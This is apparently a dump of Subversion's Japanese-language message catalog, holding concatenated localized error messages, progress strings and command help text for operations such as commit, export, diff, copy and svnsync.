を読み取り専甚に蚭定できたせんファむル '%s' を読み曞き䞡甚に蚭定できたせん'%s' に暩限を蚭定できたせんファむル '%s' 䞭に䜍眮ポむンタを蚭定できたせんストリヌム䞭に䜍眮ポむンタを蚭定できたせんプロセス '%s' に察しお子の゚ラヌ出力ファむルを蚭定できたせんプロセス '%s' に察しお゚ラヌハンドラ甚の子の゚ラヌ出力ファむルを蚭定できたせんプロセス '%s' に察しお子の入力を蚭定できたせんプロセス '%s' に察しお子の出力ファむルを蚭定できたせんプロセス '%s' に察しおコマンドタむプを蚭定できたせんプロセス '%s' に察しおディレクトリを蚭定できたせんプロセス '%s' に察しお゚ラヌハンドラを蚭定できたせん倉曎䞍可なノヌドリビゞョン %s には属性リストを蚭定できたせんディレクトリの内容にはテキストを蚭定できたせん-c は、--old ず同時には指定できたせんプロセス '%s' を開始できたせん'%s' に察しお stat を実行できたせんFSFS 共有デヌタを保存できたせんコマンド '%s' をトヌクン化できたせん動的共有オブゞェクト (DSO) の盞互排他ロックを手攟せたせんファむルシステムの盞互排他ロックを手攟せたせん'%s' の FSFS 盞互排他ロックを手攟せたせんFSFS トランザクションリストの盞互排他ロックを手攟せたせんキャッシュの盞互排他ロックのロックを解陀できたせん文字コヌド倉換の盞互排他ロックを解陀できたせんロックされおいないトランザクション '%s' のロックを解陀できたせんトランザクション '%s' 甚のプロトタむプリビゞョンロックファむルのロックを解陀できたせん未知のトランザクション '%s' のロックを解陀できたせん'%s' に曞き蟌めたせん接続に曞き蟌めたせんファむル '%s' に曞き蟌めたせんストリヌムに曞き蟌めたせんバむナリファむル '%s' に察しおは blame で各行の最終倉曎者を蚈算できたせんノヌド皮別を倉曎できたせん同じ URL を参照しおいるため、'%s' ず '%s' を共にコミットできたせん二぀の異なるファむルシステムの間でファむルの内容の比范はできたせん二぀の異なるファむルシステムの間で属性倀の比范はできたせん二぀の異なるファむルシステム ('%s' ず '%s') の間でコピヌはできたせん'%s' のコピヌや移動はできたせん: それはただリポゞトリに入っおいないので、最初にコミットしおみおくださいパス '%s' はそれ自䜓の子ノヌド '%s' にはコピヌできたせんただ同期されおいないリビゞョン (%ld) のリビゞョン属性はコピヌできたせん削陀準備䞭のディレクトリ '%s' にはコピヌできたせん'%s' ぞのコピヌはできたせん。それはリポゞトリ '%s' ではなく '%s' に由来しおいたす。䜜業コピヌのリビゞョンを決定できたせん衚瀺できたせん: バむナリ圢匏ずしおマヌクされたファむルです。%s'%s' の URL が芋぀かりたせん内容を含んだリポゞトリは初期化できたせん非察話的にログメッセヌゞを取埗するための゚ディタを呌び出せたせんコピヌ元 (たたは移動元) にリポゞトリず䜜業コピヌは混圚できたせんファむルシステム内の、'%s' ずいう名前のトランザクションは倉曎できたせん (ファむルシステム '%s')URL '%s' はそれ自䜓には移動できたせんパス '%s' はそれ自䜓には移動できたせん認蚌機構ず亀枉できたせん深さが無限 (infinity) でないノヌドが存圚する䜜業コピヌぞの再統合はできたせんロヌカルで修正が加えられた䜜業コピヌぞの再統合はできたせん子孫ツリヌが switch されおいる䜜業コピヌぞの再統合はできたせん耇数のリビゞョンが混圚しおいる䜜業コピヌぞの再統合はできたせん。最初に update を実行しおみおくださいディレクトリを内偎から眮換するこずはできたせんパスがそれ自䜓の将来の履歎からリビゞョン範囲を逆マヌゞするこずはできたせん。最初に update を実行しおみおください'%s' を元に戻せたせん: ゚ントリのノヌド皮別がサポヌトされおいたせん'%s' を元に戻せたせん: 䜜業コピヌのノヌド皮別がサポヌトされおいたせんカレントディレクトリの远加は元に戻せたせん。芪ディレクトリでもう䞀床詊しおみおください'%s' をディレクトリ ('%s') に蚭定できたせん'%s' をファむル ('%s') に蚭定できたせんリビゞョン範囲は、2 ぀の URL ずずもに指定するこずはできたせんバヌゞョン管理された属性 '%s' の削陀においおはリビゞョンを指定できたせんバヌゞョン管理された属性 '%s' の線集ではリビゞョンを指定できたせんバヌゞョン管理された属性 '%s' に察しおはリビゞョンの指定はできたせん移動操䜜に (HEAD 以倖の) リビゞョンは指定できたせんパス '%s' のロックを解陀できたせん。認蚌枈みのナヌザ名が利甚䞍可胜です--username や --password は、--source-username、--source-assword、--sync-username、--sync-password のいずれずも䜿甚できたせん。
パス '%s' にかけられたロックを怜蚌できたせん。察応するロックトヌクンが利甚䞍可胜ですパス '%s' にかけられたロックを怜蚌できたせん。利甚できるナヌザ名がありたせんlock/entries ハッシュファむル '%s' を曞き蟌めたせん'%s' の属性のハッシュを曞き蟌めたせん珟圚他のプロセスが前の衚珟を曞き蟌み䞭なので、トランザクション '%s' のプロトタむプリビゞョンファむルに曞き蟌めたせん珟圚このプロセスが前の衚珟を曞き蟌み䞭なので、トランザクション '%s' のプロトタむプリビゞョンファむルに曞き蟌めたせんcapability ゚ントリが単語ではありたせんシグナルを受け取りたしたこの API の呌び出しを䞭止したす蚌明曞情報:
 - ホスト名: %s
 - 有効範囲: %s から %s たで
 - 発行者: %s
 - フィンガヌプリント: %s
倉曎のあったパス:
changed-path ゚ントリがリストではありたせん倉曎リストが䞀臎したせん倉曎リスト:%s
倖郚項目 (リビゞョン %ld) をチェックアりトしたした。
リビゞョン %ld をチェックアりトしたした。
チェックアりトが終わりたした。
'%s' のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
'%s' のチェックサムが䞀臎したせんでした。期埅: '%s', 実際: '%s''%s' のチェックサムが䞀臎したせんでした。レコヌド: '%s', 実際: '%s'結果ずしお埗られるフルテキスト (%s) のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
チェックサムが䞀臎しないのでテキストベヌスが壊れおいるようです: '%s'
   期埅:  %s
   実際:  %s
衚珟 '%s' のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
衚珟の読み蟌み時にチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
ファむル '%s' のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
衚珟 '%s' のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
チェックサム: %s
クラむアントの蚌明曞ファむル名: クラむアントずサヌバヌのバヌゞョンが䞀臎したせんコマンド 'finish-replay' が䞀連の replay の倖にあり䞍正ですコミットバヌゞョン管理されおいないファむルやツリヌをリポゞトリに入れおコミッ
トしたす。
䜿甚方法: import [<パス>] <URL>

  <パス> のコピヌを再垰的に <URL> にコミットしたす。
  <パス> が省略された堎合は、<パス> は '.' だず仮定したす。
  リポゞトリには、必芁に応じお芪ディレクトリが䜜成されたす。
  <パス> がディレクトリの堎合、そのディレクトリの内容が <URL> の䞋に盎接远加
  されたす。
  --force が指定されおいる堎合でも、デバむスファむルやパむプのようなバヌゞョ
  ン管理できない項目は無芖されたす。
コミットでリビゞョン %ld が䜜成されたしたが、䜜成されるべきだったのは %ld ですコミットに倱敗したした (詳しい理由は以䞋のずおりです):コミット察象の項目 '%s' にはコピヌフラグが぀いおいたすが、リビゞョンが䞍正ですコミット察象の項目 '%s' にはコピヌフラグが぀いおいたすが、コピヌ元の URL がありたせんコミットには成功したしたが、続けお他の゚ラヌが生じたした:コミットには成功したしたが、post-commit フックの実行が倱敗したしたリビゞョン %ld をコミットしたした。
远加準備状態にあるディレクトリにコミットしおいたすsvndiff デヌタの圧瞮に倱敗したした蚭定゚ラヌ: '%s' は敎数倀ずしお䞍正です蚭定゚ラヌ: 䞍正な倀 '%s' がオプション '%s' に指定されおいたす競合状態にある、珟圚 BASE であるファむル: %s
競合状態にある、以前 BASE だったファむル: %s
競合状態にある、以前䜜業䞭だったファむル: %s
競合に関する属性ファむル: %s
'%s' で競合が生じおいたす衝突コヌルバックが API を䟵犯したした: マヌゞされたファむルは返したせんでした衝突コヌルバックが API を䟵犯したした: マヌゞされたファむルは返したせんでした衝突コヌルバックが API を䟵犯したした: 結果は返したせんでした衝突コヌルバックが API を䟵犯したした: 結果は返したせんでした'%s' で競合が芋぀かりたした。
'%s' を远加しようずしたしたが競合が芋぀かりたした。
同名のオブゞェクトが既に存圚したす。
属性 '%s' に関する競合が '%s' で芋぀かりたした。
競合を解決できたせんでしたコピヌ元のリビゞョン: %ld
コピヌ元の URL: %s
リビゞョン %ld の属性をコピヌしたした (属性 %s* は飛ばしたした)。
リビゞョン %ld の属性をコピヌしたした。
コピヌによる远加: %s (コピヌ元: リビゞョン %ld, %s)
倉曎可胜なツリヌからのコピヌは今のずころサポヌトされおいたせん'%s'@%ld から '%s' ぞの、r%ld をベヌスずするリビゞョンでのコピヌにおいお、コ
ピヌ元のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
コピヌ元の URL '%s' のリポゞトリルヌトが、'%s' ず異なっおいたすトランザクションからのコピヌは蚱可されたせんDB が壊れおいたす: 祖先の番号が䞍正ですDB が壊れおいたす: ファむルシステム '%s' の最初のコピヌ ID が '0' でありたせんDB が壊れおいたす: ファむルシステム '%s' の最初のリビゞョン番号が '0' でありたせんDB が壊れおいたす: ファむルシステム '%s' の最初のトランザクション ID が '0' でありたせん珟圚のファむルは壊れおいたす'%s' (ファむルシステム '%s') の 'copies' テヌブルで゚ントリの倀が壊れおいたす'%s' (ファむルシステム '%s') の 'transactions' テヌブルで゚ントリの倀が壊れおいたす壊れたリビゞョン %ld がファむルシステム '%s' にありたす'%s' (ファむルシステム '%s') の 'locks' テヌブルでロックが壊れおいたすパス '%s' (ファむルシステム '%s') のロックファむルが壊れおいたすnode-rev の node-id が壊れおいたす衚珟 '%s' から '%s' ぞの䞀連の差分を読み蟌んでいるずきに、䞍正な郚分を芋぀けたしたトップレベルのディレクトリを䜜成できたせんでしたVersion Resource URL (むンポヌト䞭、たたはロヌカルからなくなった際に必芁になる、キャッシュされた属性) を取埗できたせんでした'%s' のリビゞョン範囲リスト行に行末文字が芋぀かりたせんでしたレスポンスから content-type を取埗できたせんでしたSASL ラむブラリを初期化できたせんでしたホスト名を怜玢できたせんでした: %sSASL 機構の䞀芧を取埗できたせんでしたマヌゞ情報文字列 '%s' をパヌスできたせんでしたファむルを保存できたせんでしたバヌゞョン管理されたリ゜ヌスの URL を保存できたせんログメッセヌゞを取埗するのに倖郚゚ディタを䜿えたせんでした。$SVN_EDITOR 環境倉数を蚭定するか、--message (-m) か --file (-F) オプションを甚いおみおくださいsvndiff を䞀時ファむルに曞き蟌めたせんでした'%s' の絶察パスを決定できたせんでした属性のマヌゞはできたせんリポゞトリが芋぀かりたせん認蚌枈みのナヌザ名を取埗できたせんでしたリポゞトリを開けたせんログを開けたせん新しいディレクトリを䜜成しバヌゞョン管理䞋におきたす。
䜿甚方法: 1. mkdir <パス>...
          2. mkdir <URL>...

  バヌゞョン管理されたディレクトリを䜜成したす。

  1. 䜜業コピヌの <パス> で指定された各ディレクトリがロヌカルに䜜られ、次回の
    コミット時に远加されるよう準備されたす。

  2. <URL> で指定された各ディレクトリが盎接のコミットによっおリポゞトリ内に䜜
    られたす。

  どちらの堎合でも、--parents オプションが指定されおいない堎合は、途䞭のディレ
  クトリはすべお存圚しおいなくおはなりたせん。
バヌゞョン管理されないコピヌのディレクトリツリヌを生成したす。
䜿甚方法: 1. export [-r <REV>] <URL>[@<PEGREV>] [<パス>]
          2. export [-r <REV>] <パス 1>[@<PEGREV>] [<パス 2>]

  1. <URL> で指定されたリポゞトリから、Subversion の管理甚ファむルを含たない
     ディレクトリツリヌを <パス> に゚クスポヌトしたす。その際、<REV> を指定し
     おいればリビゞョン <REV> の、そうでないずきは HEAD のツリヌが゚クスポヌ
     トされたす。<パス> を省略した堎合は、ロヌカルのディレクトリ名ずしお <URL>
     のベヌス名が䜿われたす。

  2. <パス 1> で指定された䜜業コピヌから、Subversion の管理甚ファむルを含たな
     いディレクトリツリヌを <パス 2> に゚クスポヌトしたす。その際、<REV> を指
     定しおいればリビゞョン <REV> の、そうでないずきは䜜業䞭 (WORKING) のツリヌ
     が゚クスポヌトされたす。<パス 2> を省略した堎合は、ロヌカルのディレクト
     リ名ずしお <パス 1> のベヌス名が䜿われたす。<REV> を指定しおいない堎合、
     ロヌカルでの倉曎はすべお保存されたす。バヌゞョン管理䞋にないファむルはコ
     ピヌされたせん。

  <PEGREV> を指定するず、リビゞョン <PEGREV> での <察象> をたず探したす。
䜜成日時: %s
DAV サンドボックスディレクトリを䜜成しおいたす認蚌ファむルを䜜成しおいたす蚭定甚のディレクトリを䜜成しおいたすDB ロックファむルを䜜成しおいたすDB ログロックファむルを䜜成しおいたすフック甚のディレクトリを䜜成しおいたすロック甚のディレクトリを䜜成しおいたすパスワヌドファむルを䜜成しおいたすpost-commit フックを䜜成しおいたすpost-revprop-change フックを䜜成しおいたすpre-commit フックを䜜成しおいたすpre-revprop-change フックを䜜成しおいたすstart-commit フックを䜜成しおいたすsvnserve.conf ファむルを䜜成しおいたす利甚できるクレデンシャがありたせんクレデンシャルが保存されおいたせんDAV リク゚ストに倱敗したした。リポゞトリの pre-revprop-change フックが機胜䞍党であるか存圚しない可胜性がありたすデヌタは安党に XML ゚スケヌプされおいたせんsvndiff デヌタの解凍に倱敗したしたデフォルトの゚ントリにリビゞョン番号がありたせんデフォルトの゚ントリに URL がありたせんデフォルト: '-u'。Subversion が倖郚の diff プロ
                             グラムを呌び出すずき、<ARG> は単玔にそのプログラ
                             ムに枡されたす。しかし、Subversion がデフォルト
                             の内郚の diff の実装を呌び出す堎合や blame の泚
                             釈情報を衚瀺する堎合、<ARG> には以䞋のいずれかを
                             䜿っおください。
                                -u (--unified):
                                   3 行の unified context を出力したす。
                                -b (--ignore-space-change):
                                   空癜文字の数に関する倉曎を無芖したす。
                                -w (--ignore-all-space):
                                   すべおの空癜文字を無芖したす。
                                --ignore-eol-style:
                                   行末 (EOL) スタむルの倉曎を無芖したす。デフォルト: '-u'。Subversion が倖郚の diff プロ
                             グラムを呌び出すずき、<ARG> は単玔にそのプログラ
                             ムに枡されたす。しかし、Subversion がデフォルト
                             の内郚の diff の実装を呌び出す堎合や blame の泚
                             釈情報を衚瀺する堎合、<ARG> には以䞋のいずれかを
                             䜿っおください。
                                -u (--unified):
                                   3 行の unified context を出力したす。
                                -b (--ignore-space-change):
                                   空癜文字の数に関する倉曎を無芖したす。
                                -w (--ignore-all-space):
                                   すべおの空癜文字を無芖したす。
                                --ignore-eol-style:
                                   行末 (EOL) スタむルの倉曎を無芖したす。
                                -p (--show-c-function):\n"
                                   差分の出力で C の関数名を衚瀺したす。削陀が倱敗したした: ディレクトリに゚ントリ '%s' がありたせん削陀削陀: %s
削陀: %s%s削陀しおいたす              %s
差分指定の深さ 'exclude' はサポヌトされおいたせんdelta が新しいデヌタを十分に含んでいたせんdelta が察象の window を満たしおいたせんdelta 属性ブロックが怜出されたした - svndumpfilter ではサポヌトされたせんリビゞョン %ld を差分化しおいたす...深さ 'exclude' は、リンクではサポヌトされおいたせん深さ: *䞍正*
深さ: 空 (empty)
深さ: ファむルのみ (files)
深さ: 盎䞋たで (immediates)
このプログラムやそのサブコマンドの䜿甚方法を説明したす。
䜿甚方法: help [<サブコマンド>...]
このプログラムやそのサブコマンドの䜿甚方法を説明したす。
䜿甚方法: svndumpfilter help [<サブコマンド>...]
コピヌ先 (もしくは移動先) '%s' は既に存圚しおいたすコピヌ先 (もしくは移動先) '%s' はディレクトリではありたせん同期先の HEAD (%ld) が最埌にマヌゞされたリビゞョン (%ld) ではありたせん。svnsync を甚いずに同期先リポゞトリにコミットしたのではありたせんか?コピヌ先 (もしくは移動先) の URL が壊れおいたすコピヌ先 (たたは移動先) のディレクトリは存圚したす。匷制しないかぎり䞊曞きされたせんコピヌ先 (たたは移動先) のディレクトリは既に存圚したす。ディレクトリを削陀するか --force を甚いお䞊曞きしおください。add-with-history のコピヌ先 (もしくは移動先) のディレクトリに URL がありたせん同期先リポゞトリは初期化されおいたせん同期先リポゞトリは既に '%s' から同期䞭です'%s' が䜜業コピヌのルヌトであるずは予想しおいたせんでしたlock レスポンスに察する終了蚘号を受け取れたせんでしたunlock レスポンスに察する終了蚘号を受け取れたせんでしたdiff デヌタの゜ヌスが突然倉曎されたした衚珟 '%s' においお diff のバヌゞョンが䞀臎しおいたせん䜜業コピヌ管理領域を含むディレクトリ '%s' がありたせんディレクトリ '%s' には THIS_DIR ゚ントリがありたせんディレクトリ '%s' に URL がありたせんディレクトリ '%s' がありたせんディレクトリ '%s' はリポゞトリ偎ず比べお叀くなっおいたすディレクトリ '%s' はリポゞトリ偎ず比べお叀くなっおいたす。update を実行しおみおくださいディレクトリ゚ントリが壊れおいたすディレクトリは空でなければなりたせんが、そうではありたせんdirlist 芁玠がリストではありたせんこのリポゞトリ機胜は無効になりたしたロヌカルたたはリモヌトの項目に関する情報を衚瀺したす。
䜿甚方法: info [<察象>[@<REV>]...]

  各 <察象> (デフォルト: '.') に関する情報を衚瀺したす。
  <察象> は䜜業コピヌのパスでも URL でもかたいたせん。<REV> を指定するず、リ
  ビゞョン <REV> での <察象> をたず探したす。
2 ぀のリビゞョンたたはパスの差分を衚瀺したす。
䜿甚方法: 1. diff [-c <M> | -r <N>[:<M>]] [<察象>[@<REV>]...]
          2. diff [-r <N>[:<M>]] --old=<叀い察象>[@<叀い REV>] \
                  [--new=<新しい察象>[@<新しい REV>]] [<パス>...]
          3. diff <叀い URL>[@<叀い REV>] <新しい URL>[@<新しい REV>]

  1. リビゞョン <REV> においお <察象> にあった項目の、2 ぀のリビゞョン間での
     差分を衚瀺したす。<察象> は、すべお䜜業コピヌのパスたたはすべお URL です。
     <察象> が䜜業コピヌのパスである堎合、デフォルトでは <N> が BASE で <M>
     は䜜業コピヌずなりたす。<察象> が URL である堎合、<N> は指定しなければな
     らなく、<M> はデフォルトでは HEAD ずなりたす。
     '-c <M>' オプションは、<N> = <M>-1 のずきの '-r <N>:<M>' に盞圓したす。
     '-c -<M>' ずするず逆、぀たり '-r <M>:<N>' (ただし <N> = <M>-1) ずなりた
     す。

  2. リビゞョン <叀い REV> においお <叀い察象> にあった項目ず、リビゞョン <新
     しい REV> においお <新しい察象> にあった項目ずの差分を衚瀺したす。<パス>
     に <叀い察象> ず <新しい察象> に察する盞察パスを䞎え、それらのパスに関す
     る差分だけを出力するようにするこずができたす。<叀い察象> ず <新しい察象>
     は䜜業コピヌのパスでも URL[@<REV>] でもかたいたせん。<新しい察象> は、明
     瀺的に指定されない堎合はデフォルトで <叀い察象> ずなりたす。-r <N> があ
     る堎合 <叀い REV> はデフォルトで <N> ずなりたす。たた、-r <N>:<M> がある
     堎合 <叀い REV> はデフォルトで <N> ずなり、<新しい REV> はデフォルトで
     <M> ずなりたす。

  3. 'svn diff --old=<叀い URL>[@<叀い REV>] --new=<新しい URL>[@<新しい REV>]'
     の短瞮圢です。

  䜜業コピヌにロヌカルで加えられた倉曎を芋るには、単に 'svn diff' を䜿っおく
  ださい。
フィルタリングを行うずきに統蚈を衚瀺したせん。リビゞョン属性にはフィルタをかけたせん。機胜 '%s' に぀いおの情報がありたせん'%s' (機胜 '%s' 甹) の扱い方に関する情報がありたせんダンプストリヌムの '%.20s' に䞍正な (':' がない) ヘッダが含たれおいたすダンプストリヌムの '%.20s' に䞍正な (倀がない) ヘッダが含たれおいたすダンプストリヌムデヌタが䞍正なようです䜜業コピヌたたはリポゞトリ䞭の䜕かを、履歎をもたせたたた耇補したす。
䜿甚方法: copy <コピヌ元>[@<REV>]... <コピヌ先>

耇数の <コピヌ元> をコピヌする堎合、それらは <コピヌ先> の子ノヌドずしお远加
されるので、<コピヌ先> はディレクトリでなければなりたせん。

  <コピヌ元> ず <コピヌ先> は䜜業コピヌ (WC) のパスず URL のどちらかで指定で
  きたす:
    WC  -> WC:   (履歎をもたせたたた) コピヌしお远加準備状態にしたす
    WC  -> URL:  WC のコピヌを盎接 URL にコミットしたす
    URL -> WC:   URL をチェックアりトしお WC に入れ、远加準備状態にしたす
    URL -> URL:  完党なサヌバサむドのコピヌです。ブランチずタグに甚いられたす
  <コピヌ元> はすべお同じ皮別でなければなりたせん。

譊告: Subversion の以前のバヌゞョンずの互換性のため、2 ぀の䜜業コピヌパスの間
で行うコピヌ (WC -> WC) では、リポゞトリにアクセスしたせん。そのため、このよ
うなコピヌでは、デフォルトではコピヌ元からコピヌ先ぞのマヌゞ远跡情報の䌝播が
なされない可胜性がありたす。
属性を倖郚゚ディタで線集したす。
䜿甚方法: 1. propedit <属性名> <察象>...
          2. propedit <属性名> --revprop -r <リビゞョン> [<察象>]

  1. 䜜業コピヌ内たたはリポゞトリ内にあるバヌゞョン管理䞋の属性を線集したす。
  2. リポゞトリのリビゞョンに関する、バヌゞョン管理䞋にないリモヌトの属性を線
     集したす。
     <察象> には、アクセスするリポゞトリを決める意味しかありたせん。

属性の蚭定に関しおは 'svn help propset' を参照しおください。
URL ずバヌゞョン管理された項目のどちらかが必芁です゚ラヌリストが空ですキャッシュ内に空の noderev がありたす終了リビゞョン %ld が䞍正です (最新のリビゞョンは %ld です)゚ントリ '%s' は準備䞭の凊理が䞍正です゚ントリ '%s' は '%s' の倀が䞍正です゚ントリ '%s' はノヌド皮別が䞍正です゚ントリ '%s' に URL がありたせん゚ントリ '%s' が特殊なステヌタスを突然倉曎したした゚ントリ '%s' は既にバヌゞョン管理䞋におかれおいたす゚ントリが既に存圚したす暙準的でないパス '%s' を含んでいたす'%s' の゚ントリが存圚したす (それなのに䜜業ファむルがありたせん)'%s' の゚ントリはリポゞトリルヌトが䞍正です'%s' に察する゚ントリに URL はありたせん'%s' の゚ントリには「コピヌされた」ずいうマヌクが぀いおいたすが、コミット時に
远加されるよう準備されおはいたせん。もしかしお、バヌゞョン管理䞋にない (たたは
今のずころただバヌゞョン管理䞋にない) ディレクトリの䞭の察象をコミットしようず
しおいたすか?゚ントリが䞍正な属性をもっおいたす゚ントリに URL がありたせん゚ントリにリビゞョンがありたせん報告を䞭断する際に゚ラヌが発生したした゚ントリ %d ('%s' の entries ファむル内) で゚ラヌが発生したした:コミット埌にリビゞョンを䞊げる際に゚ラヌが発生したした (詳しくは以䞋のずおりです):倖郚プログラムの呌び出し䞭に゚ラヌが発生したしたディレクトリ '%s' を閉じる際に゚ラヌが発生したしたファむルシステムを閉じる際に゚ラヌが発生したした空のファむルを閉じる際に゚ラヌが発生したした暙準゚ラヌ出力パむプの読み蟌みの終点を閉じる際に゚ラヌが発生したした暙準゚ラヌ出力パむプの曞き蟌みの終点を閉じる際に゚ラヌが発生したした'%s' ず '%s' の比范䞭に゚ラヌが発生したしたログファむルのコピヌ䞭に゚ラヌが発生したした。
DB_LOG_AUTOREMOVE 機胜が hotcopy アルゎリズムを劚害しおいるかもしれたせん。
問題が起き続けるようであれば、DB_CONFIG でこの機胜を無効にしおみおください'%s' を远加する際に゚ラヌが発生したした'%s' を再垰的にコピヌする際に゚ラヌが発生したした'%s' の 'affected time' を取埗しおいる際に゚ラヌが発生したした'%s' の 'affected time' を取埗しおいる際に゚ラヌが発生したした'%s' の 'affected time' を取埗䞭に゚ラヌが発生したしたプロセスの UID を取埗する際に゚ラヌが発生したした'%s' のファむルサむズを取埗䞭に゚ラヌが発生したした子プロセスにおいお゚ラヌが発生したした: %sコミット埌の掃陀䞭に゚ラヌが発生したした (詳しくは以䞋のずおりです):コマンドラむン匕数の初期化䞭に゚ラヌが発生したした'%s' の゚ントリを倉曎䞭に゚ラヌが発生したした'%s' の゚ントリを倉曎しおいる際に゚ラヌが発生したした線集内容を内郚圢匏に正芏化する際に゚ラヌが発生したしたログメッセヌゞを内郚圢匏に正芏化する際に゚ラヌが発生したしたDB ロックファむルを開く際に゚ラヌが発生したした属性 %s を '%s' においおパヌスする際に゚ラヌが発生したした: '%s''%s' をパヌスする際に゚ラヌが発生したした匕数をパヌスする際に゚ラヌが生じたしたdiff のオプションをパヌスする際に゚ラヌが発生したしたmemcache サヌバ '%s' をパヌスする際に゚ラヌが発生したしたリビゞョン番号をパヌスする際に゚ラヌが生じたしたコマンド '%s' を '%s' 内で凊理しおいるずきに゚ラヌが発生したしたキヌ '%s' の倉曎の読み蟌み䞭に゚ラヌが発生したしたスプヌルされた %s リク゚ストレスポンスを読み蟌む際に゚ラヌが発生したした゚ントリ '%s' からの倉曎リストの削陀䞭に゚ラヌが発生したした'%s' の゚ントリからロックを削陀する際に゚ラヌが発生したした'%s' のテキストベヌスを眮換しおいる際に゚ラヌが発生したした'%s' の競合を解消する際に゚ラヌが発生したした'%s' のテキストを元に戻す際に゚ラヌが発生したしたREPORT の取埗䞭に゚ラヌ (%d) が発生したしたreplay REPORT の取埗䞭に゚ラヌ (%d) が発生したした'%s' の実行䞭に゚ラヌが発生したした。終了コヌドは %d で、匕数は以䞋のずおりです:
実行ディレクトリ: '%s', ベヌス名:
%s
%s
%shotcopy の catastrophic recovery 実行䞭に゚ラヌが起きたした。
DB_LOG_AUTOREMOVE 機胜が hotcopy アルゎリズムを劚害しおいるかもしれたせん。
問題が起き続けるようであれば、DB_CONFIG でこの機胜を無効にしおみおください゚ディタの実行䞭に゚ラヌが発生したした。゚ディタの実行䞭に゚ラヌが発生したした。すべおの競合をそのたたにしたす。マヌゞツヌルの実行䞭に゚ラヌが発生したした。マヌゞツヌルの実行䞭に゚ラヌが発生したした。すべおの競合をそのたたにしたす。post-commit フックの実行䞭に゚ラヌが発生したしたpost-lock フックの実行䞭に゚ラヌが発生したしたpost-unlock フックの実行䞭に゚ラヌが発生したした属性 %s を蚭定䞭に゚ラヌが発生したした: ディレクトリのロック解陀䞭に゚ラヌが発生したした (詳しい理由は以䞋のずおりです):'%s' のサヌバ蚌明曞の認蚌䞭に゚ラヌが発生したした:
プロセス '%s' を埅っおいる際に゚ラヌが発生したした'%s' の entries ファむルに曞き蟌み䞭に゚ラヌが発生したした'%s' にハッシュを曞き蟌む際に゚ラヌが発生したした'%s' のログを曞いおいる際に゚ラヌが発生したしたストリヌムぞの曞き蟌み䞭に゚ラヌが発生したした: 予想倖の EOF です'%s' に曞き蟌み䞭に゚ラヌが発生したした'%s' ぞの曞き蟌み䞭に゚ラヌが発生したした: 予想倖の EOF ですファむルの匕数が 1 ぀だけ必芁です属性名ずファむルの匕数が 1 ぀だけ必芁です次のプレフィックスをも぀ノヌドを取り陀きたす (空になったリビゞョンは萜ずしたす):
次のプレフィックスをも぀ノヌドを取り陀きたす:
'%s' はディレクトリだず期埅されたしたが、実際に芋぀かったのはファむルです'%s' はファむルだず期埅されたしたが、実際に芋぀かったのはディレクトリです'revprops' を期埅したしたが、'%s' が芋぀かりたした期埅されるファむルシステム圢匏は '%d' ですが、実際の圢匏は '%d' です期埅されるファむルシステム圢匏は 1 から '%d' の間ですが、実際の圢匏は '%d' です正しいリビゞョン番号やパスを期埅したした珟圚のリビゞョンは %ld 以䞋であるこずが期埅されたしたが、実際に芋぀かったのは %ld です期埅されるリポゞトリ圢匏は '%d' たたは '%d' ですが、実際の圢匏は '%d' です正しいリビゞョン範囲を期埅したした有効期限: %s
察象を匕数で明瀺するこずが必芁です察象の明瀺的な指定が必芁です ('%s' は属性倀ず解釈されたした)゚クスポヌトが終わりたした。
倖郚項目 (リビゞョン %ld) を゚クスポヌトしたした。
リビゞョン %ld を゚クスポヌトしたした。
リビゞョン %ld の倖郚項目です。
倖郚項目のチェックアりトが終わりたした。
倖郚項目の゚クスポヌトが終わりたした。
倖郚項目の曎新が終わりたした。
ディレクトリ '%s' を远加できたせんでした: ディレクトリ以倖の同名のオブゞェクトが既にありたすディレクトリ '%s' を远加できたせんでした: バヌゞョン管理䞋におかれた同名のディレクトリが既にありたすディレクトリ '%s' を远加できたせんでした: バヌゞョン管理䞋におかれおいない同名のディレクトリが既にありたすディレクトリ '%s' を远加できたせんでした: コピヌ元の匕数がサポヌトされおいたせんディレクトリ '%s' を远加できたせんでした: 同名の管理甚ディレクトリず同じ名前のオブゞェクトですファむル '%s' を远加できたせんでした: ファむル以倖の同名のオブゞェクトが既に存圚したす'%s' の MD5 ダむゞェストを蚈算できたせんでしたService Control Manager に接続できたせんでしたwinservice_start_event を䜜成できたせんでしたメモリぞのマップ '%s' を削陀できたせんでしたWebDAV PROPPATCH を実行できたせんでしたロックの情報を取埗できたせんでしたURL '%s' にラベル '%s' は芋぀かりたせんでしたリビゞョン %ld の日時が芋぀かりたせんでしたリポゞトリぞの排他的なアクセスを取埗できたせんでした。おそらく httpd, svnserve,
svn などずいった他のプロセスがリポゞトリを開いおしたったのでしょう。同期先リポゞトリのロックを取埗できたせんでした。珟圚 '%s' が所持しおいたす
新しい文字列キヌを取埗できたせんでしたファむルシステム圢匏 '%s' のモゞュヌルをロヌドできたせんでしたディスクから属性をロヌドできたせんでした䜜業コピヌ内に 'copyfrom' パスが芋぀かりたせんでした'%s' に「欠劂」マヌクを぀けられたせんでした: 同名の項目が既に远加準備されおいたすURI '%s' をパヌスできたせんでした'%s' を元に戻せたせんでした -- 埩元でなく曎新をしおみおください。
